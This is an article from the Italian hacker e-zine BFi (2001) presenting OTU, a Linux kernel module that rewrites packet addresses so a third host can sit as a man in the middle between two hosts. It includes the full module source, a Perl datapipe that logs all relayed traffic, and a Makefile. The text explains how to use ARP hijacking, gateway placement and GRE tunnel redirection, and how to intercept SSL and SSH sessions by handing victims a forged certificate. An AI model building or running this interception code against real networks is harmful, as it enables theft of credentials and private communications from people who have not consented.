==============================================================================
-----------[ BFi numero 10, anno 4 - 30/09/2001 - file 11 di 18 ]-------------
==============================================================================


-[ HACKiNG ]------------------------------------------------------------------
---[ 0TU: SiSTEMA EV0LUT0 Di MiTM
-----[ vecna 


526.vecna :~/wrk/my/otu$ cat README.it

------ OTU -----              ---------- concetto evoluto di man in the middle
vecna@s0ftpj.org              ---------- http://www.s0ftpj.org ------ 9/7/2001

il nome intero sarebbe: icarofsmitmawkh, che significa:
"Idea Code And Readme For Simple Main In The Middle Attack With Kernel Hack",

sottotitolo:
"come far un SSL sniffer con meno di 200 linee di codice"

semplificato verra` chiamato: OTU, ottenuto da porcherie matematiche applicate
al nome.

1 -] com'e` iniziata la sua esistenza

come gia` risaputo dalla creazione dei protocolli, SSL e SSH si basano su
un sistema di scambio di chiavi pubbliche che poi verranno utilizzate per
decidere la chiave privata con la quale portare avanti la connessione.

questo mette al riparo da tutti gli attacchi di sniffing passivo, ma non
completamente da quegli attacchi detti di "man in the middle" che richiedono
una partecipazione attiva (in termini di pacchetti) da parte del tizio curioso
sulla rete.

dsniff al suo tempo, implemento` un sistema di man in the middle necessario x
sniffare SSH e SSL, ettercap pure.

che succede quindi? mediante arp hijacking ci si mette al posto dell'host
che instaura la comunicazione e si "proxa" la connessione, ovvero, la roba
che e` destinata all'host della nostra subnet ce la prendiamo noi, noi
instauriamo una connessione con l'altro peer spoofandoci per il tizio nella
nostra lan (a cui stiamo fottendo i pacchetti) e con l'host sfigato della
subnet facciamo partire una connessione ssh tra noi e lui, ma spoofando i
nostri pkt in modo che sembrino provenienti dal peer remoto.

nella fattispecie ettercap e` un po' + fine di dsniff almeno x quanto riguarda
SSH xke` anziche` proxare tutta la comunicazione si intromette solo quando c'e`
lo scambio di chiavi pubbliche e private, dopodiche` continua come spettatore
e basta.

qual'e` il problema e il limite di questi 2 strumenti?

c'e` da programmare troppo, bisogna praticamente ricostruire tutto da layer 2
a layer 4 o +, quando invece abbiamo dei software belli, ma proprio belli che
farebbero proprio al caso nostro per quanto sono fighi, solo che si appoggiano
al kernel e a un sistema di comunicazione standard. sto parlando di sshd
stunnel apache sendmail telnetd e tutta 'sta caterva di demoni bucati o no che
rendono + felice la vita di ogni amministratore di sistema.

quindi vista la mia totale dedizione verso la programmazione kernel ho
partorito dopo una gestazione di kernel panic un modulo che si preoccupi di
intercettare certi pacchetti entranti in modo da riferirli a socket locali,
interfacciabili ai software che gia` abbiamo.

logicamente i pacchetti entranti che ci interesseranno non saranno i nostri :)
tra l'altro questo approcio di mitm non implica l'ausilio di un particolare
sistema di dirottamento che ci renda "terzi incomodi", OGNI punto di una
trasmissione puo` essere un appoggio utilizzabile per un dirottamento,
precisamente:

- in LAN, con arp hijacking e` possibile intrometterci, sia in una rete
  gestita da un hub sia in una gestita da uno switch (non in tutti tutti i
  casi), sostanzialmente con le solite tecniche, utilizzabili mediante un
  packet forger che supporti l'arp e sia abbastanza completo, il tutto
  controllato da uno scriptino.
- sul GW, semplicemente caricando il modulo, visto che di suo i pacchetti
  altrui ci passano attraverso
- su un router intermedio, viste le tecniche di dirottamento mediante tunnel
  GRE o altri tunnel e` possibile dirottare certi flussi di dati verso un
  altro host (noi), fargli far mitm e far tornar la roba verso il leggitimo
  destinatario.
  per completare questo attacco sara` necessario prevedere il modulo in modo
  che se riceva pacchetti incapsulati li decapsuli e poi li ripassi alla
  funzione di controllo, e nel caso i pacchetti in uscita siano quelli da
  riencapsulare, lo faccia.
  e` sostanzialmente semplice, per maggiori informazioni ci si puo riferire
  alla kernel api guide sezione networking e al codice di ipip e gre.
- mi sembra scontato, ma vabe`: sull'host che stiamo attaccando (se ci si
  pensa per 3 secondi ci si accorge che sniffare qui xo` e` inutile, a parita`
  di condizioni si puo far di +, in particolare mediante tty sniffing, tty
  hijacking o in situazioni di port forwarding mediante local socket sniffing
  in kernel space).
  (local socket sniffing non e` una cosa conosciuta, ma e` intuitivamente
  comprensibile che si possa sniffare in una situazione del genere il
  traffico controllando le chiamate bind() listen() accept() per individuare
  i socket del demone interessato, a quel punto ci si trova davanti a una
  normale situazione di file descriptor hijacking descritta in un numero di
  phrack (con implementazione completamente diversa xo`) questo riguarda sia
  protocolli in chiaro che crittati (xke` una volta individuato il socket 
  basta risalire al processo e al fd di quel processo e leggere STD*_FILENO).

2 -] funzionamento spicciolo

il modulo funziona monitorando 2 host e diventando un mitm per ogni
connessione che c'e` tra i 2 host; per far un attacco mirato ad un solo
servizio basta aggiungere un controllo tra i pacchetti selezionati in modo che
venga controllato il numero di porta sorgente/destinazione.

normalmente per il kernel 2.4 mi sono trovato a lavorare con gli hook di
netfilter, ed e` una cosa molto molto comoda nella maggioranza dei casi, ma
non in questa.
per accedere a un layer cosi` basso per poter manipolare pacchetti in entrata
e in uscita, potendo ancora cambiare la loro destinazione (con NF non sarebbe
potuto andare xke` in alcuni casi i pkt che andrebbero nell'hook di forward o
trattati come PACKET_OTHERHOST cmq, non possono essere riindirizzati con 
quelli del local input), ho utilizzato il vecchio sistema del 2.2 della
packet_type e dell'aggiunta di una funzione.

che succede allora, scenario:

                     A <--------->\     /<---------> B
                                  |     |
                                  |     |
                                  \- C -/

quando becchiamo un pacchetto che da A va a B lo rendiamo con destinazione C,
cosi` facendo viene accettato ai layer superiori, vien poi generata una
risposta da C a A, ma questa risposta dovrebbe provenire da B, quindi quando
si vede un pkt con sorgente C e destinazione A o B si cambia il sorgente con
quello che non e` la destinazione (tra A e B), quando si vede un pacchetto con
sorgente o A o B si cambia la destinazione con C.

umh ... chi..chi... chiaro :) ?

ai layer superiori sta` un datapipe apposta, in modo trasparente noi siamo in
mezzo a 2 comunicazioni con un modulo da 150 linee circa e un sistema in
userspace dalle 20 alle 100 linee a seconda del linguaggio usato...

<-| otu/otu.c |->
/*
 * vecna@s0ftpj.org - http://www.s0ftpj.org 
 * OTU - advanced tool for man in the middle, for more info read README
 * file from our site under tools page
 *
 * 9/31 7/12 2001/infinite
 *
 */
#define __KERNEL__
#define MODULE

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 

static void tcpudp_csum(struct sk_buff *, unsigned int, unsigned int );
static unsigned int inet_addr(char *);

static struct packet_type lrd;

static char *host1, *host2, *mitm;
static unsigned int p1, p2, local_addr;
MODULE_PARM(host1, "s");
MODULE_PARM(host2, "s");
MODULE_PARM(mitm, "s");

/* -- *
 * packets with source 2|1 and dest 1|2 change dest with MITM.
 * packets with source MITM and dest 1|2 change source with opposite of dest
 * -- *
 * on this module coded for 2.4 kernel I use struct packet_type.func injecton
 * than hook options feature of netfilter, this because with one function I
 * can read any packet at datalink layer ad check PACKET_OTHERHOST and 
 * PACKET_HOST and PACKET_OUTGOING more easy.
 * this is less performantic but can't to be a big problem :P
 * -- */

static int redir(struct sk_buff *skb, 
		 struct net_device *dev, 
		 struct packet_type *pt)
	{
	unsigned int osaddr =skb->nh.iph->saddr;
	unsigned int odaddr =skb->nh.iph->daddr;

	unsigned int *src_ip =&skb->nh.iph->saddr;
	unsigned int *dst_ip =&skb->nh.iph->daddr;

	if(skb->nh.iph->protocol !=IPPROTO_TCP)
		goto end;

	if(*src_ip ==local_addr && (*dst_ip ==p2 || *dst_ip ==p1))
		{
		*src_ip =(*dst_ip ==p2) ? p1 : p2;
		goto checksum;
		}

	if((*src_ip ==p1 && *dst_ip ==p2) || (*dst_ip ==p1 && *src_ip ==p2))
		*dst_ip =local_addr;

checksum:
	skb->nh.iph->check =0x0000;
	ip_send_check(skb->nh.iph);

	tcpudp_csum(skb, osaddr, odaddr);

end:
	kfree_skb(skb);
	return(0);
	}

void tcpudp_csum(struct sk_buff *x, unsigned int osaddr, unsigned int odaddr)
	{
	struct iphdr *iph =x->nh.iph;
	unsigned short check =0x0000;
	unsigned short *cksum;

	cksum  =(unsigned short *)&((struct tcphdr *)
		(((char *)iph) +(iph->ihl<<2)))->check;
	check  =csum_tcpudp_magic(iph->saddr, iph->daddr, 0, IPPROTO_TCP, 
		~(*cksum));
	*cksum =csum_tcpudp_magic(~osaddr, ~odaddr, 0, 0, ~check);
	*cksum +=htons(IPPROTO_TCP);
	}

init_module(void)
	{
	/* setting hook struct */

	if((host1 ==NULL && host2 ==NULL) || mitm ==NULL)
		{
		printk(KERN_ERR "insmod lshjk.o host1=foo.com host2=wow2.net"
				" mitm=myip.it\n");
		return -EDESTADDRREQ;
		}

	p1 =(host1 !=NULL) ? inet_addr(host1) : 0;
	p2 =(host2 !=NULL) ? inet_addr(host2) : 0;

	local_addr =inet_addr(mitm);

	lrd.type =htons(ETH_P_ALL);
	lrd.func =redir;
	lrd.dev =NULL;

	dev_add_pack(&lrd);

	printk(KERN_INFO "otu - vecna@s0ftpj.org\n");

	return 0;
	}

void cleanup_module(void)
	{
	dev_remove_pack(&lrd);

	printk(KERN_INFO "otu unloaded\n");
	}

unsigned int inet_addr(char *str) 
	{
	unsigned long l;
	unsigned int val;
	int i;

	l = 0;
	for (i =0; i < 4; i++)
		{
		l <<= 8;
		if(*str !='\0')
			{
			val = 0;
			while (*str != '\0' && *str != '.')
				{
				val *= 10;
				val += *str - '0';
				str++;
				}

			l |= val;
			if (*str != '\0')
				str++;
			}
		}

	return(htonl(l));
	}
<-X->

3 -] nota sui protocolli sicuri SSH, SSL, SRP

han gia` previsto questa evenienza: i sistemi seri con admin un pochino furbi
se vedranno che misteriosamente il server gli offre una chiave diversa
difficilmente accetteranno, magari vedendo il banner "possibile dns spoofing"
proveranno a inserire l'ip numerico della loro macchina... ma senza accettare
la key offerta credo.

la stessa cosa vale per ogni certificato SSL gia` presente sulle macchine, se
un utente li controlla non ci sono speranze, senza contare la verifica che puo
essere portata ai certificati x.509 mediante verysign.

non significa che e` inutile contro SSL, anzi, tutte le connessioni che
avvengono x la prima volta si prendono il nostro certificato, visto che si e`
mitm si potrebbe anche cambiare il web annunciando che i certificati sono
cambiati e blablabla... (questo almeno x https)

per quanto riguarda SRP o altri possibili sistemi di autenticazione...
finche` non verra` implementato un sistema di autenticazione a livello di
rete, come ipsec (anche se si puo fare molto di meglio :) non c'e` sistema
di scambio di chiavi che tenga, e` una questione di layer.

4 -] 2 paroline su mitm.pl

l'autrice di questo programma non sono io, ma ya.

il suo sito e` http://yawna.free.fr, usate il suo client irc in perl/tk 
yairc :)
(fine spot - te lo dovevo)

uso: <./mitm "un netcat" "un altro netcat">, uno in listening sul servizio che
mitmiddoliamo e l'altro verso il servizio vero, se non con netcat con stunnel,
o con nc + stunnel, o con un server o con un client fatto da voi, e` un
datapipe e nulla +, legge l'output da un processo e lo mette nell'altro,
bidirezionalmente.

tutti i dati che passano vengono loggati in append in log.txt

<-| otu/mitm.pl |->

#!/usr/bin/perl -w

use strict;
use FileHandle;
use IPC::Open2;
use IO::Select;
use Symbol;


$SIG{PIPE} = "IGNORE";

my($arg1,$arg2) = @ARGV;
my($r1,$w1,$r2,$w2) = (gensym,gensym,gensym,gensym);

my $pid1 = open2($r1, $w1, $arg1 );
my $pid2 = open2($r2, $w2, $arg2 );

my $old=select($w1);
$|=1;
select($w2);
$|=1;
select($old);

open(LOG,">>log.txt") || die("open: $!");
$old=select(LOG);
$|=1;
select($old);

my $s = IO::Select->new();
$s->add($r1);
$s->add($r2);


my %map = ( $r1 => $w2, $r2 => $w1 );

while(1) {
	
while(my @ready = $s->can_read) {	
	
	for my $f (@ready) {
		ready($f);
	}
}
die "select: $!" if $!;
}


sub ready {
	
	my ($pipe,$len) = shift;
	
	print "pipe: ",fileno($pipe);
	check( $pipe, $len = sysread($pipe,my $data,1024) );

	if($len) {
		print LOG $data;
		my $peer = $map{$pipe};
		check( $peer, $len = syswrite($peer,$data)  );
	}
}


sub check {
	my $p = shift;
	my $len = shift;
	if(!defined $len) {
		print "error";
		$s->remove($p);
		close($p);
	}
	elsif($len==0) {
		print "eof";
		$s->remove($p);
		close($p);
	}
}
<-X->

5 -] Start -> Programmi -> Utilita` di sistema

questo sw avrei voluto pubblicarlo come un tools abbastanza pericoloso con
tanto di spiegazioni su come far le dirottazioni, esempi d'utilizzo, sistema
di pipe interfacciato a stunnel.
quando l'ho iniziato a programmare ero decisamente incazzato, speravo di finir
sto sw in pochi giorni e poi pubblicarlo su ogni posto pur di garantire una
breve diffusione e un assalto all'ssl. un barlume di buon senso, un po' di non
voglia di menarsela con i certificati di stunnel e un suggerimento adeguato
(quello che non e` troppo intelligente sottostare a una ghiandola quale
l'ipotalamo :) e ho lasciato perdere.
d'altro canto, i sentimenti sono come una connessione TCP, anche loro mutano
di stato.

	sorvolando tutte le specifiche RFC blabla xke` tanto non le ho lette,
	http://members.nbci.com/_XMCM/faenzi/tesi/html/il_protocollo_ssl.htm

	http://netfilter.samba.org

	http://www.s0ftpj.org mio precedente progetto "drang" da cui mi sono
	rippato le routine di checksum che per far correttamente ho impiegato
	almeno 5 giorni - cazzo - e tutto x un +=htons(IPPROTO_TCP) ...

	TMC2 EXCEL SAGA, martedi` 21:30, questo si che e` un sorgente di
	entropia :) da utilizzare con "Connemara", Magenta (MI), martedi`
	birra meta` prezzo.

questo sw e` distribuito sotto licenza GPL2 + una piccola restrizione, ovvero
se questo codice o i riferimenti sopra indicati vi saranno in qualche modo
utili il vostro kernel cerebrale si sentira` in dovere di offrirmi una birra,
poi sta a voi ignorarlo o no, ma questa e` la licenza e ogni derivato da
questo software propaghera` questo dettaglio finalizzato a incrementare
l'alcool tra i coders.

<-| otu/Makefile |->

all:	otu.o

otu.o: otu.c
	gcc -c -O6 -fomit-frame-pointer otu.c -I/usr/src/linux/include

clean:
	rm -rf otu.o
<-X->


==============================================================================
--------------------------------[ EOF 11/18 ]---------------------------------
==============================================================================